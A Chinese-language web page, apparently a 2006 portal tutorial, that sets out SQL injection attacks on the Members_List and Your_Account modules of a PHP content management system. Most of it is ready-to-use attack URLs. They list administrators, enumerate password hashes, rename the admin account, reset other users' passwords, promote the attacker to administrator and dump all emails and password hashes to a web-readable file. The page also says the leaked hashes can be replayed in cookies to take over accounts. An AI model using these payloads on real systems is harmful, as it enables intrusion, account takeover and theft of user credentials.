【编程开发】AspAsp.NetCGIPHPJspXMLPERLC++C#VCVBDelphiPowerBuilderJAVA汇编数据库编程移动开发其它语言

您现在的位置:首页 > 网络学院 > 编程开发 > 数据库编程 > 利用SQL注入缺陷进行攻击的方法及代码开发者网络SQL

利用SQL注入缺陷进行攻击的方法及代码开发者网络SQL

来源: 作者: 日期:2006-08-14

【聚杰网数据库编程】利用SQL注入缺陷进行攻击的方法及代码开发者网络SQL


  SQL的Members_List、Your_Account模块中存在注入缺陷。如果magic_quotes_gpc选项为“OFF”,攻击者使用下列攻击方法及代码能利用该缺陷:

  PHP代码/位置:


  Members_List模块:

  - 显示用户:

http://[target]/modules.php?name=Members_List&letter=All&sortby=pass

  - 显示用户:

http://[target]/modules.php?name=Members_List&letter=All&sortby=uid

  - 显示moderators :

http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=2/*

  - 显示管理员:

http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=4/*

  - 显示所有以“abc”开头的用户 :

http://[target]/modules.php?name=Members_List&letter=%20OR%20pass%20LIKE%20abc%25/*

  Your_Account模块 :

  - 将“Admind”用户更名为“Hophophop” :

http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,name=Hophophop%20where%20uname=Admin/*&uid=[OUR_UID]

  - 在md5_decrypted中将“Bob”的密码改为“d41d8cd98f00b204e9800998ecf8427e”:

http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&realname=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&email=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=savehome&storynum=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=savecomm&umode=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID] 
  或:

http://[target]/modules.php?name=Your_Account&op=savecomm&thold=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]

  - 将普通用户提升至管理员权限:

http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,user_level=4&uid=[OUR_UID]

  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&femail=,user_level=4&uid=[OUR_UID]

  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://,user_level=4&uid=[OUR_UID]

  或:

http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=,user_level=4&uid=[OUR_UID]

  或:

http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=,user_level=4&uid=[OUR_UID]

  - 将所有用户的电子邮件和crypted密码保存在http://[target]/AllMailPass.txt中 :

http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=)
%20OR%201=1%20INTO%20OUTFILE%20/[path/to/site]/AllMailPass.txt/*

  利用Cookie发送crypted密码能访问用户帐户。

  - 将用户的所有信息保存在http://[target]/admintxt中:

http://[target]/modules.php?name=Your_Account&op=login&uname=%20OR%user_level>
1%20INTO%20OUTFILE%20/[path/to/site]/admin.txt

[path/to/site]能在http://[target]/modules/Forums/bb_smilies.php中查询到。



评论   点击查看全部评论
您的评论参与,将为聚杰带来更大的动力!请不要吝啬!
快速回复
请使用文明语言让我们维护健康绿色网络环境!

匿名发表   验证码: